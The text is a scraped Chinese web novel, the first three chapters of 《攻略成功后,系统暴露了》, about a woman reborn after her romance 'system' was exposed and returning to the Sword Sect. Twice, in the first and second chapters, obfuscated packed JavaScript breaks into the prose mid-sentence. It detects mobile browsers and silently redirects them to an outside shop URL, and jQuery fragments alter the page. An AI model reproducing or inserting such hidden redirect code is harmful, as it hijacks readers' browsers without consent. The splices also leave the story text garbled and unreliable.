《攻略成功后,系统暴露了》 1. 第一章 偌大的剑宗沉默地在雨中伫立,像是蛰伏在黑暗中轮廓起伏的野兽。 穿着法袍的弟子们御剑而行,警惕地巡视周围,瞄到宗主洞府所在的山峰,迅速而又恐惧地移开视线。 细密的雨聚集在峰顶,穿过一道半透明的影子,落在地面的法阵上,随即消散于无形。 傅灵看了看身上的连衣裙,无奈地笑了笑。 穿进这个世界这么长时间,她以为自己的灵魂早就变成了原住民的样子,没想到一招就被打回了原形。 头顶的雷鸣声震耳欲聋,大雨倾盆而下,穿透夜色,也穿透了她的身体。灵魂状态下,她什么都碰不到。 被困在法阵里的灵魂,如同扣在天幕下的一团空气。 不过她本来也不想动。现在系统暴露了,任务失败了,家也回不去了,还能去哪儿? 远处,三道光撕破天际,像是流星一般射向这里。片刻,整座山峰被照得通亮,峰顶的像是在烈阳之下的刑场,苍白而又皲裂地沉默着。 所有弟子都战战兢兢,剑宗的宗主、妖界的妖王、魔界的魔尊齐聚在这里,光是溢出的灵气就让整座剑宗颤动。 三道不同却同样带着强大威压的声音响在她的头顶: “傅灵,你到底……是什么人?” “傅灵……你是他们派来的吗?” “傅灵!你说的话都是假的?!” 傅灵没抬头,她很容易就分辨出每个人的嗓音。第一个一定是李青尘,宗主大人最在意这么多年相伴,还有她身份的真假。 第二个是厉修宁,魔王最在意她是否和他的仇人是一家。 最后一个是苏傲,妖王的情绪最为外露,也最在意她以前说的那些哄他的话。 看着在地面上微微发亮的法阵,她笑了一下。 解释那么多有什么用,她抬起头,看到遮天蔽日的三道光芒,像是看着要把自己烤干的烈阳。 说了,他们就能放过她吗? 她这一笑,云层颤动得更加厉害,在震耳欲聋的雷鸣中,她听到不知道是谁问了一句。 “所以……你可曾真的爱过……” 此时此刻,她很想像仙侠剧的女主角一样,决绝地回一句“从未……” 但现在身体都没了,尊严早就在系统暴露的时候、灵魂被扒光的时候消失得干干净净,装那么多有什么用? 于是她深吸着气,眸光通亮,恍然盈住了雨水:“爱。谁对我有用,我就爱谁……三位尊者,放了我吧……” 霎时间,整个缚仙台除了雷鸣雨声,没有半点声音。 半晌,宗主的嗓音比夜色还冷:“事已至此,傅灵,还在撒谎吗?” “竟然连一点真心都没有,就连妖族都不会如此无情……傅灵,你真的厉害。” “……既然过往种种都是假的,那便做个了断吧。” 三人话落,整个山峰骤然轰鸣,傅灵身下的法阵发出刺目的光芒,偌大的缚仙台瞬间变得四分五裂。 傅灵骤然抬头,就看到三道足以毁天灭地的灵力向她压来…… ———— 【起来!饥寒交迫的奴隶,起来……】 熟悉的声音在耳边一炸,傅灵像是弹簧一样坐起来。 空气中浮动着呛人的灰尘,一点光亮从破门的缝隙里摄入,落在她带着冷汗的额角。 她抖着手捂住额头,半晌没出声。 【早上好,宿主同志,你刚才又做噩梦了吗?】 傅灵的指尖一动,深深地吸了两口气。 “没事,我没做噩梦,我只是被铃声吓到了而已。” 她放下手,声音平缓又怪异,好像多年未开口的呓语。 在蒙蒙亮的天色中,摸到了床边的衣衫,缓缓地套在身上。 【数据库里还有更好的铃声,如果宿主需要,我可以帮宿主更换。】 傅灵顿了一下,才道:“不用。这个铃声陪了我这么久,我早就习惯了,换它做什么。” 况且在这个世界里活了两辈子,也只有这种振奋人心的歌声才能让她记得自己是一个现代人。 她系好衣带,顺着墙面摸黑下床,刚一动就被新放在床边的柴绊了一脚。 她嘶了两声,习惯地将柴禾整齐码在一边。 重生后,她好一段时间适应自己这个新的身体。 若说方便,便是那些修士了。修仙的天天打打杀杀、装模作样,但有一件好处不得不提——打个响指就能换一身衣服,蹦一下就能御剑飞行,全然的不用为了凡人这些衣食住行麻烦。 不过要是让她回去…… 她恍惚了一下,还是算了吧。 【宿主辛苦了】系统的声音带着低沉,【只要把剩下的灵魂收集完毕,你就不用再在这里受苦,回到真正的家了。】 傅灵摸索到桌子旁,喝了一口凉水,微微沉默。 显而易见,她是穿越的。和所有穿书的套路一样,有一个穿书系统。 她现在所在的世界是一套系列文,出自不吃茄子大神手下的《天道1》、《天道2》、《天道3》。 不吃茄子设计了同一个世界观,但主角却分别是出身修仙界、魔界、妖界三个不同世界的三个男人。 每一本书的结局,都是男主用自己的势力一统三界,像是同一根树枝上分出的三种可能。 但是现在,三本书融合了。三个或是冷漠或是孤傲或是暴戾的男主们碰到了一起,按理来说他们三个会打得天昏地暗,日月无光。 但现实是这个世界还好好的,当年死的人只有一个……就是她。 上辈子她被这个破系统诱惑,说同时攻略这三个男主,就可以拿到数不清奖励。而且还可以亲自接近主角,这是多少读者梦寐以求的事。 是的,她还是不吃茄子大神的粉丝,骨灰级的。 身为现充生活十分贫瘠的女大学生,她唯一兴趣爱好就是看点网络文学。不吃茄子大神的文笔和世界观十分对她的胃口,对三个男主的塑造更是死死地卡在了她的xp上。 于是她每天风雨无阻地打卡,读者等级能排光荣榜前十,连长评都是一万字打底的那种。 但这并不代表她对主角的感情可以被冰冷的数据侮辱,变成攻略的工具。直到系统让她和男主们见了一面。 然后……她就答应了交易。 再然后……她攻略成功了。 再再然后……傅灵看着茶杯里的一点亮光——系统暴露了,她的灵魂被三个男人捏成了渣渣。 那天,正好她和剑宗的宗主成亲的日子。红绸绵延,她被对方拉着,在等待结契成功的那一刻,没想到另外两个人带着阴云踏风而来。 剑宗的宗主成亲,妖王和魔尊前来抢婚,这种让人做梦都没有想到的场面在众人面前上演,所有人都目瞪口呆。 她被三个男人拉着,在他们小心翼翼执拗而又紧张的眼神中,听到了系统的通知声: 【恭喜宿主,三个人攻略成功,您可以回家了。请做好准备,灵魂抽离中……】 她还沉浸在和他们分别的伤感中,没注意到三个人面色剧变的表情。 直到灵魂被锁进阵法里,才知道系统这个不靠谱的家伙,竟然把声音泄漏出去了。 紧接着……就是她的噩梦…… 即便隔了百年,她也下意识地打了个冷颤。 三个男人愤怒她的欺骗,憎恶她的玩弄,将她的灵魂锁在阵法里,然后让她魂飞魄散。 她成了无处不在的浮尘,在这个陌生的世界里飘荡。 百年后,闯了大祸的系统终于敢冒头,将她的残魂放到人界,让她重新投胎。 只等她的灵魂被温养完毕,剩下的魂魄被收集完,就能真正地回家了。 她放下茶杯,看着那点光亮被一点点摇平。 最近系统收集到的残魂越来越少,可能再找也找不到什么了。 “其实你也不用太内疚,当年的事也不能全赖你。是我不自量力,总想着能用自己力量改变剧情,让他们遇到的痛苦再少些,哪想到……” 她笑了笑,“算了,过去的就过去吧。我也不能总依赖你,这十八年辛苦你了。” 系统道:【这是我身为系统的责任,你安心在这里修养,我一定会找到你剩下的灵魂。】 傅灵还想再说什么。 “老七!!你这死丫头赶紧出来,有人找你!” 外面突然传来高亢的呼喊声。 她瞬间回神,她投胎的这家人姓凌,凌家祖辈都在农田里挥洒汗水,凌父凌母对孩子的名字也随意得很。 她是第七个出生的,于是她就有了一个新名字——“凌七”。 “娘,来了!” 她用力推开柴房的门,外面的阳光直射了进来,让她的眼底一片金黄。傅灵没有眨眼,只是侧了侧耳朵。 忘了说,因为投胎的时候灵魂残缺,再加上身体和灵魂不兼容,导致她前十八年又聋又瞎。 从小,她的眼前就像是被蒙上了一层布,五十米外人畜不分,她爹在隔壁呼噜打得房梁都响,在她耳里只不过是蚊子挠痒痒。 前十八年像是个半残,最近因为系统找回来的一点残魂后情况好了一点,但听声看物像是在水下忽清忽沌,比隔壁八十岁的王大爷好不了多少。 手腕一紧,凌母将她拽了出来,嗓门大得整个村子都能听见:“一大早就有这两个后生找你,你这死丫头是不是闯什么祸了?前几天一声不吭就往村外跑,现在招来了祸事我看你怎么办!” 凌家一共九口人,除了外嫁的姐姐、分家的哥哥,主屋里还住着五口,凌家村不大,一出事全村都来看热闹,连墙头都推挤着孩子。 “得了!这么多人看着呢,你嗓门小点。”凌父把凌母拉开,对着村民轰赶:“别看了别看了!有什么可看的,都回去!” 傅灵踉跄了一下,她模模糊糊地看到满院子的人头,除了灰扑的粗衣外,似乎还站着两个白色的身影。 凌母本就一肚子火气,看她还默不作声眯着眼看,更是气不打一处来,甩开凌老头的胳膊就对着她的脑门一推: “看就看!因为这死丫头丢的脸还少吗?当初我说把她丢了,你非说要再等等,这下好了,吃了咱们家那么多的粮食不说,还闯下了大祸!一定是偷了人家什么东西,现在人家找上门来了,我这是造了什么孽啊……” 当初系统把傅灵扔进凌家就跑了,哪知道傅灵又聋又瞎。凌老头想把她扔了,但碰到回乡的一个说书先生,说这种“天残”百年难得一遇,是给有福的人家一个考验,多少典故里飞黄腾达、鸡犬升天的好事都是这么来的。 只是十八年过去,凌家的房顶茅草都被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834581|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吹薄了一层,愣是没看到哪只家禽跟着沾光。 傅灵想到自己这样的“天残”带着鸡鸭鹅飞升的样子,也不由得一笑。 “娘,我这样子哪里认得出宝贝偷来?到底什么事,您慢慢说。” 那两个人都面色涨红找到门口了,她还这副慢吞吞的样子,凌母还想再掐,突然一阵风吹过,“轰”的一声,她身后的墙应声而倒。 所有人一惊,凌母收回手指,莫名打了个冷颤。 此时,院子中央,那两道白影齐步踏出,异口同声: “伯父伯母,莫要伤她!我来找凌姑娘,是为了提亲的!” 一瞬间,整个院子鸦雀无声。 只有傅灵突然想到了什么,她用力地眯了一下眼,目光向院子中间聚集,终于晃到那两个修长的人影上,突然一愣。 在她模糊的视线中,有两个修长的人影在左右分庭抗礼,好像小小的农家院变成了凌厉威严的比武台。 那两人先是愤怒地对视了一眼,接着又将视线灼灼地落在了她身上。 两人乍一眼看上去如出一辙的清俊,但左边的男子鼻梁更为高挺,右边的眉眼更为狭长。 声音虽然同样悦耳,但仔细听,左边的毫无波动,像是平缓的暗流,右边的更为清越,像是拂江而过的清风。 傅灵的眼睛缓缓瞪大了。 半晌,凌父控制不住脸上的抽搐,看向傅灵:“老、老七,你都认识他们?这到底怎么回事?” 傅灵没说话,她不是没听清,而是有了不好的预感。 果然,左边的人道:“伯父伯母,在下祁寻。半个月前,我去追杀妖……贼人,不小心受了重伤,倒在村外的破庙内,是凌姑娘救了我。我当即对凌姑娘倾心,决定娶她为妻,今日就是来提亲的!” 另一人冷哼道,“我名为符骄,半个月前也是追杀……贼人至此,在村外的柳树下,是凌姑娘救了我,而且她不仅答应我的求亲,还答应和我一起回宗……家!我今日也是来提亲的!祁寻,我知你向来妒我更得师父看重,但你若跟踪我,故意仿我嘲讽,那就休怪我不客气了!” 凌老头一时之间难以理解,还是凌母最先反应过来。这两个人一口一个杀贼,一口一个师父,这一定是吃官家饭的,不知怎么的瞎了眼瞧上了她家的小残废,要是不赶紧趁着两个人反悔前把事定下来,这天大的好事跑了怎么办! 她就说相公的话准,这真是飞黄腾达了! “原来还有这等机缘!”凌母笑着揽住傅灵的肩膀,“定然是里面出了一点误会,只是我这就这么一个宝贝疙瘩,你们二位仓促定下我也不能允不是,要不然二位……进屋喝喝茶,咱们再商量商量?” 两人对视一眼,祁寻不知从腰间哪里摸出了一锭金元宝,扔给凌母:“不用了,我忙于追敌。既然亲事已经定下,我这就带她走。” 他拉住傅灵的左手,但符骄早已拉住傅灵的右手,一挥袖就甩出一串宝石,“既然是定亲,这些怎么能够?傅灵自然是要随我走,日后我还会再送礼金!” 凌家人被这大手笔吓得不轻,村民更是倒吸一口凉气。 凌七真是碰上了天大的好事,凌家鸡犬升天了?! 此时的傅灵被两个人拉着,像是被抻直翅膀的小母鸡。 系统赶紧问她:【宿主,到底怎么回事,你在我不在的时候惹到了这两个人?你知不知道他们是……】 “我知道他们是修仙者,也是……剑宗的弟子。” 她虽然不认识他们的脸。但是她认识他们身上的衣服。那是剑宗的法袍。上辈子她就穿着这样的制服在修仙界里逍遥快活,哪里会认不出? 【那你……都答应了他们的提亲?】 “没有!我明明只答应了一个人的……” 前段时间系统不在,她确实救了一个剑宗的弟子。对方醒来后突然态度扭捏,问她愿不愿意嫁给对方。 她模模糊糊的猜到对方的意思,思忖了一会就答应了。 没过几天,那人又回来了,还是带着伤。醒来后又问了一遍,她只好再答应一次。现在想来,她不是救了一个人,而是救了两个人!? 【宿主为什么要答应?】 傅灵的语气很是平淡:“因为这样可以回剑宗,我猜你找不到残魂,是因为它们都被困在了剑宗内。” 【……】 祁寻和苏傲同时看向她,她左右看了看:“不要争了,我都答应你们。” 两个人还能有个保底呢。 两个男人对视一眼,知道此事定然要分出个高低,突然在众目睽睽之下飞上天空,掏出法器就开始打得天昏地暗。 系统和所有人倒吸一口凉气,与震惊两个人是仙人的村民不同的是,它更多的是震惊于傅灵的话。 【以前我让你同时攻略三个,你都推三阻四的,我从没想过你会说出这样的话。】 “你才知道啊。”傅灵笑了一笑,“我早就在一百年前是一个三心二意的坏女人了。” 【……】 她说完,头顶突然雷声阵阵。 两个修仙者在凡间打起来,引动了雷劫。那两人皆是面色一变,“遭了,雷劫会引来宗门的人!” 傅灵眯着眼看着远处的雷电交错,不由得呢喃: “唉,剑宗的人要来了,坏女人就要被审判了……” 2. 第二章 傅灵和剑宗的那两个弟子被押了回去。 和两个被束仙锁住的男人不同,她被好好地放在仙舟里,除了不能迈出舱门一步,可以在里面自由活动。 透过微微掀开的车帘,她看到了外面翻涌的云海。好久都没有在天空中飞行,不由得恍惚。 “系统,你看到我们飞起来的时候,那些人的表情了吗?” 【……】 本来看到飞起来的祁寻和符骄,所有村民就已经大惊失色了,看到飞驰而来的剑宗修士们更是不可置信。 听到剑宗长老的来意后,还是凌母最快反应过来,直接把傅灵向仙舟上推:“仙、仙人想怎么带走就怎么带走,我们凌家全无二话。况且我们凌家是修了千年的福分才能碰到仙人,老七跟您走更是鸡犬升……呸呸呸,是她的福气!” 剑宗的长老一垂眸,恍若看着聒噪蝼蚁,展袖出风,所有人都飞到了仙舟上,化作一道流光消失在天际。 凌父凌母又是欣喜又是懊恼,喜的是这辈子能看见仙人,保不齐他们凌家能得个仙缘。更让他们懊恼的是明明都定下亲事,仙人竟然一点宝贝都没留下,刚才的财宝也都化为尘土,真真是抠门! 不过送出了家里唯一的残废老七,也算是一件好事。 隔壁的王大爷眯着眼问:“这是咋了?” “瞎子凌七跟着仙人飞走了!” “啥?隔壁的小鸡被抓走了?” “不是,是凌七!跟仙人回去成亲了!” “被擒了可不中哦,被擒了可就不知是死是活了……” ———— 回神的傅灵微微一笑,“可惜走得急,没能跟王大爷告别。” 【……你不害怕吗?】 “怕什么?又不是没飞过,一百年前我也是个修士。” 【怕李青尘。万一他认出了你,让你又魂飞魄散怎么办。】 “……” 傅灵眯着眼看翻涌的云海,半晌沉默。 “又不会那么倒霉就碰到他。再说你不是说过我现在的灵魂已经和身体融合,别人看不出来毛病吗?就算被认出来……那就这样吧。” 她吐出一口气,又不是没死过,大不了再睡个一百年。 听着船舱内没有半点动静,剑宗长老郭昆拧了一下眉,作为一个凡人来说,对方的反应实在太过平静。 再看看船头那两个即便被束缚也要怒目而视、挣扎不休的弟子,他的浓眉立刻立了起来: “你们两个,如今还有心情争风吃醋!堂堂剑宗的首席弟子竟然为了一个凡人自相残杀,你们忘了宗门的戒律了吗?!” 两人瞬间一僵,符骄抬起头,“师叔不必用宗门戒律压我,剑宗是说过宗内弟子未经允许不许私相授受、擅自结契。但是凌姑娘是凡人,这事儿压不到我!” 祁寻也道:“我本打算带着凌姑娘回来就向师父复命的,什么后果我一力承担。” 郭昆低喝一声,云层震碎,恍若地鸣:“你们还有脸面提起宗主?!他若是知道自己的两个徒弟同门相残,只需一道灵光下去,你们二人必然神魂欲碎!” 提到宗主的威压,二人的面色皆是一变。 符骄咬着牙冷笑,“宗主他老人家这么多年不是闭关就是闯上古秘境寻求突破,哪里有闲心管我们的事。” “他管不了,但是执法堂能管!我倒要看看回去后,你们的嘴有没有秦师兄的铁棍硬!” 想到执法堂长老秦钟,两人也是微出冷汗。但偷瞄一眼身后的船舱,立刻定了一下心。 只要挺过这一关,定然会磨得宗门应下他们的婚事。只要凌姑娘有一点灵根,日后找机会结契,更能相守几百年。 人界和修仙界相隔万里,这一次是这两个人擅自离宗,郭昆带人去找,发现了雷鸣征兆这才很快赶来。 回去的路途漫长,幸亏仙舟也不慢,三日之后,遥遥地就看到一座座藏在云端的山峰。 亭台楼阁若嵌树群菇,错落有致又簇拥聚集,在金黄朝阳下如同镀金云杉,让人不敢逼视。 其中,最为巍峨的是剑宗门前的一块石碑,厚如山壁,莹白若玉。远远望去,碑顶骤斜,若一把巨剑直插云霄。 上面锋芒毕露用灵界的文字刻着: “外人擅闯,万剑无赦”。 剑宗终于到了。 符骄道:“师叔,剑宗都到了,我们两个也跑不了,您先把我放了吧!” 郭昆冷笑一声,“我不放你不是怕你跑,是怕你直接蹿进船舱里去。” 符骄难得红了脸。此时门帘一动,傅灵扶着门框出来。之前只和对方接触几天,符骄两人知道她有眼疾,但对方笑容如常,行动只比旁人慢了些,两人没想到她这么严重。 傅灵打了个哆嗦,祁寻下意识要用灵力为她取暖,但锁链瞬间变紧。 郭昆瞪了一眼二人,让旁边的弟子将火珠拿出来,他道:“凌家凡女,这就是剑宗了。老夫带你前来是为查明此事,若个中纠葛与你无关,本座自会放你回去。” 傅灵道谢,她抬起头看着那个石碑,不由得失神。 祁寻以为她看不清,于是念出了上面的字。 郭昆看了几人一眼,突然道:“错了,完整的石碑并非这样。” 迎着所有人讶异的目光,他眼露唏嘘,语气却是冷硬,“本来此事是宗门秘辛,我们这些老家伙轻易不说出口。但今日看你们二人耽于情爱,我就说给你们听,也是给别人一些警醒。” 郭昆背着手,看向石碑,顿了一下道:“你们看到的八字石碑并非是完整的,真正的剑宗石碑刻着十二个大字:‘剑宗圣地、外人擅闯、万剑无赦’。” “……那四个字呢?” “被你们的师父……李青尘砍去了。” “……” “你们也听说过百年前剑宗经历一场浩劫,李宗主被邪魔外道所骗,那女子以一己之身引发仙、魔、妖三界之主大战。后宗主雷霆之怒,一剑砍下了这块石碑,只因为那石碑上有那女子留下的印记。” “……什么印记?” 郭昆摇头,“因被砍下,无人知晓。只道是我们看不懂的文字,也许是她们的暗号罢了。从那以后,宗内就禁止私情,是为怕又有邪魔外道扰乱尔等道心,这并非是绝情之举,而是怕你们重蹈覆辙。” 半晌,所有人都没说话。 祁寻和符骄都不约而同地看向傅灵,宗主是宗主,他们是他们,凌姑娘又和那个女子不一样…… 傅灵抬头看着石碑,不由得失笑。怪不得她看它短了一截,原来被李青尘砍下去了。 这么记仇的么,她当初只是写了“傅灵到此一游”啊…… 仙舟缓缓进入天门,所有御剑巡逻的弟子如同随星流光般伴船飞驰,祁寻两人被束缚着,颇觉丢人,但看了傅灵一眼,又都咬牙坚持着。 到了主殿,弥漫的寒气如同附骨之蛆,迫不及待向人的骨缝里钻。那些有灵力运转的修士不受影响,她这个体弱多病的凡人可就扛不住了。 好在有火灵珠能让她勉强站直了身体,她微吸一口气不再多看。 临近十年一届的弟子大选,虽宗主不在,但余威犹存。更有执法堂长老秦钟坐镇,整个剑宗威严肃穆。 但祁寻和符骄两人都是宗主的亲传弟子,前段时间莫名失踪不说,今日突然被郭长老绑着回来,更是带着一名看着就脆弱不堪的凡间女子,如何能不让人好奇? 默立在两边的剑宗弟子无不投来审视的目光。 即便被束缚着,也挡不住祁寻二人互相瞪视,堂堂剑宗首席弟子,此时竟像是两只斗鸡。 郭昆更怒:“好了,回了剑宗还不老实!你们两个真想被执法堂重罚吗?!” 符骄喘着粗气,道:“我又没做错什么事,罚什么罚?” 祁寻道:“惩罚可以,还望师叔不要迁怒凌姑娘。” 郭昆眉头一立,刚要怒骂,突然感觉一股庞大的灵力压来,似火如日,竟在一瞬之间压过满殿的寒气。 “果然是宗主的入门弟子,竟连执法堂都管不了你们二人了!” 随着这声低喝的,是一道红光。从众人头顶急射而入,在殿前显露出身形。傅灵没想抬头,但修仙的人说话自有灵力加持,再加上这人声若雷霆,她恍惚了一瞬,就想起来对方的名字。 “秦钟师兄!”郭昆拱了拱手。 秦钟…… 秦钟长身玉立,颌下蓄胡,仿若中年温润书生,但周身的威压却让所有人浑身一凛,祁寻和符骄二人立刻抿唇不语。 秦钟身居执法堂长老多年,威压仅在李青尘之下。他看了一眼两人冷哼一声,视线又扫过站在大殿正中央的傅灵。 修仙者的视线对凡人来说如同烈阳灼面,傅灵的额上立刻出了汗,有些勉强站直身体。 【别怕,以秦钟如今的实力,看不透你的灵魂。】 在《天道一》里,无论哪一个种族,境界都分为气境、筑境、丹境、婴境、化境、仙境。秦钟和郭昆一样,只是剑宗里的背景板,依托李青尘的同门之情,成为剑宗的普通长老。 但不知是哪里出了变化,秦钟成为了执法堂的长老。 执法堂,生死不论,唯从宗律。她感觉到似火似冰毫无情感的目光落在身上,恍惚中耳边响起一道哭喊: “我不想死,我不想死啊傅灵,我还没有,我还没有让她看到我的真心啊!” 秦钟的视线很快就收了回去,问: “这就是你传信中提到的凡女凌七?祁寻、符骄可是因她起了争执?” 郭昆马上将三人的纠葛说了出来。秦钟迈了两步,视线扫过三人。不需片刻就道: “既如此,无需审问。一介凡女竟然能引得两个修仙者大打出手,且三人还只有一面之缘,不是邪魔也是外道。交给执法堂的弟子,搜魂便是。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834582|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 傅灵骤然睁开眼,搜魂是修仙者对付妖魔的最低劣的手段,被搜魂者会被看到所有记忆,轻者受损,成为痴傻。重者神魂俱灭,烟消云散! 祁寻和符骄也是面色大变:“秦师叔!” “此时皆由我而起,还望秦师叔不要迁怒旁人!傅灵她是凡人,根本受不得搜魂之苦!” “你们还知此等祸事是由你们而起?!”秦钟倏然转头,目若闪电: “你们二人也逃不了,识人不清,同门相残,速去执法堂洗灵池洗礼三月,没有本座的允许不许出关!” 洗灵池,用千年寒泉冲洗修士的经脉,若被魔气侵体被妖力侵蚀者可重获新生。但有一点,受刑者似被寒冰刺骨,即便是宗内长老也扛不住三日。 二人面色更加苍白,但看了身形消瘦的傅灵一眼,却是挣扎得更厉害了。 秦钟正要将人带下去,只听“砰”的一声,一颗火灵珠倏然掉落。大殿之中响起一道因久未开口,语气缓慢而微怪的声音: “本以为修仙者都是救苦救难、怜爱世人的活菩萨,今日看来原来都是视人命如草芥的活阎王。” 霎时间,整个大殿一片安静。 秦钟看向那个一直被他忽略的凡间女子,对方因为寒意身形颤颤,但却缓缓抬起了眸子。 那双眼睛像是被蒙上了一层雾,毫无焦点地看向这里,隔着雾霭映出里面的沉静从容来。 他瞬间怔了一下,陷入了熟悉般的恍惚。 郭昆立刻道:“放肆!修士斩妖除魔、匡扶正义,岂容你一个小小的凡间女子置喙?!秦师兄,凡人愚钝,莫要动怒。还是先查过一遍再说。祁寻和符骄乃是宗主亲传弟子,岂是那般鲁莽之人,还请师兄给这二人一个申辩的机会。” 秦钟回神,道:“就是因为二人是宗主弟子,此时才显得蹊跷。当年本座和宗主乃是同时入门的弟子,感情甚笃,此时若不重罚,岂不显得我执法堂徇私?” 傅灵又垂下目光,她抱了一下手臂,像是因为寒意摇摇欲坠: “说什么大道理,在我们凡间,若是遇到难事,自有青天大老爷做主。公堂之上也要先问再审,哪有屈打成招的呢?你们修仙的不讲理,就把我放回去吧,我去报官,让凡人看看到底谁有理?” “你!” “再者……”傅灵深吸一口气,惨白的唇瓣微微一扯,“一点私情都不讲的修士,哪里来的怜悯之心能匡扶正义呢,说是修仙,和那些你们口中所谓的‘妖魔’有何异?” 祁寻和符骄瞬间浑身一震,郭昆更是倒吸一口凉气。之前看这凡人不声不响,脆弱无力的样子,没想到一张嘴就说出这样大胆的话来。 几人瞬间看向秦钟。 出乎意料的是,秦钟抿唇不语,他看着傅灵又像是看着别人。 ——“修仙又不是断情绝爱了,要是连心上人都不敢追求成仙了还有什么意思?秦钟,我支持你去追她!” 缩在袖口的手无声地捏紧,他想到百年前在一片红绸中坠落而下的身影,脸颊绷紧。 【宿主灵魂未稳,切莫太激动。】 “放心,我只是不明白为何秦钟会变得如此不近人情。” 【……百年已逝,因缘变幻,别太介怀了。】 傅灵捏了一下指尖,很快就冷静下来。 “我懂,只有这样才能安全留下来,此时不能坐以待毙。” 【……】 系统沉默,百年之后变的,又岂止是这些书中人? 秦钟回神,道:“凡间怎可和灵界相比?剑宗自有法度,你无权置喙。来人,将这三个人带下去!” 话音未落,远处突然传来嗡鸣。 像是剑破苍穹,又像是雷霆速至,一道金光从天际边缘向此地射出,一个眨眼就来到宗门前。 所有人一震,郭昆立刻道:“是宗主,宗主回来了!!” 傅灵刚咽下去的冷气立刻梗在了喉咙口。 【宿主,千万小心!】 所有人面色大变,若喜若惊,齐齐朝向山外,躬身一拜: “恭迎宗主回宗!” “恭迎宗主回宗!” “恭迎宗主回宗!” 众人只等对方现身,然而一股凌冽之气已经在殿内汇集,这股力量几乎抽走了所有的空气,所有人牙齿一颤,转身再拜,腰身更弯。灵力低下者直接倒在了地上。 被压着的祁寻二人“砰”的一声单膝跪地,二人对视一眼,露出了藏在瞳孔后的惊色。 宗主回来了,此事不知如何善了…… 傅灵面上一白,瞬间跌坐在地上,她深吸了两口气,干脆低头不动了。 秦钟肃了面孔,和郭昆分立两边,恭敬一拜。 “恭迎宗主师兄。” 寒气聚集,似金似白的光芒收缩,只听一声嗡鸣,似金光乍破,金剑相交。 一道白袍逶迤,乌发及地的身影出现在殿前。 3. 第三章 剑宗宗主李青尘,十六岁拜入剑宗,师从正阳真人门下。 十年间籍籍无名。百年前与“邪宗”大战,宗主身陨,彼时还是普通弟子的李青尘一剑祭出,斩山断河,一己之力逼退数万邪修。 因实力暴露,断然离去。残存长老竭力请求留下,愿以宗主之位换取剑宗无虞。李青尘无动于衷,剑宗又许一诺,他终答应。 百年间,正阳真人与当年的长老或是在大战中陨落、或是坐化,当年他应允宗主之位的真相也寂于红尘,而知晓部分蹊跷的同门却对当年的事讳莫如深。 此事一时成为剑宗密谈。 众人对其应允宗主之位原因好奇,但知李青尘无心权位,却也更为敬畏。 从此,李青尘成为剑宗历年来最年轻的宗主,在其带领下剑宗百年间杀邪修无数,隐隐有压妖界、魔域一势。 上一次见到李青尘还是十年前,对方回来主持百宗大会。十年已过,正值剑宗新弟子入门,李青尘气势不增反降,若充盈寒气无处不在,众人心中更是颤颤。 秦钟顿了一下,宗主不在,剑宗隐以他为首。他上前道: “恭喜宗主师兄修为精进,一月之后就是剑宗纳新大典。还请宗主好生歇息。殿下的祁寻、符骄二人因琐事起了冲突,我定然秉公处置,必不会扰您清静。” 祁寻和符骄一听,不由得一惊。秦钟师叔是要将此事糊弄过去了,他们二人不知道师尊会不会网开一面,但如果不努力一次,凌姑娘就真的会被搜魂了! 二人正要说话,秦钟只一低头,他们的嘴若被封住,竟然是一声都不能出! 两人惊怒,挣扎得更凶,身上的锁链哗啦啦作响。 郭昆暗叹一声,看到跌坐在地,似乎被宗主气势压得抬不起头来的傅灵,更是无奈摇头。 “宗主,此事另有内情,祁寻和符骄都是您的入门弟子,还是您亲自审问为好。” 郭昆深吸一口气,避开秦钟冷硬的目光,缓缓地道: “殿下的女子乃是凡人,名为凌七。一月前在凌家村内先后救了身受重伤的祁寻、符骄。在养伤之际又先后答应二人的结契之求。祁寻、符骄仅对此女有一面之缘,却为了她相继违抗门约,又反目成仇,实乃蹊跷。但我查其家境,凌家确为普通农家,且凌七除答应二人之外确无任何异动,还请宗主决断。” 郭昆将所知和盘托出,不偏不倚。但便是如此中立话语也显得不近人情,祁寻呼吸急促,饶是无法开口也坚持抬头看向高处。 李青尘缓缓坐在宗主高座上,及地长发随白袍顺流而下。在灵界,修为高低分为气境、筑境、丹境、婴境、化境、仙境。 步入丹境的那一刻,修士的样貌便会停滞。但李青尘却有不同,百年来容颜未改,但三千青丝却从未停止生长。 如今因为威压,众人只能看到对方的膝盖。垂在白袍里的手指拨走发丝,遥遥对他们一指,祁寻瞬间就张开了嘴巴。 “师父!此事不关凌姑娘的事,是弟子对她一见倾心,妄图以凡人之礼与她结为夫妻。弟子真心苍天可鉴,句句可查,完全没有受其蒙蔽,师父若不信,可对弟子施搜魂之刑!” 祁寻一惊,竟然是符骄先开了口! 他下意识回头,见凌姑娘一直低头,似乎不为所动,瞬间松了一口气。 “凌姑娘确为凡人,实属无辜。还请师父网开一面!” 祁寻沉声,又道:“且师弟因在境界上差弟子一筹,对弟子心存不满。一月前弟子被凌姑娘所救,未曾想师弟也会出现在凌家村。定然是师弟看我与凌姑娘两情相悦,模仿弟子言行诓骗她。二人毫无纠葛,还请师父明察。” 符骄立刻回头怒骂:“你放屁!凌七在树下救的我,与我互通心意,还亲口答应我的求娶,我和她心意相通,情分独一无二,和你没有半点关系!” 郭昆麻木地闭上了眼,秦钟怒极: 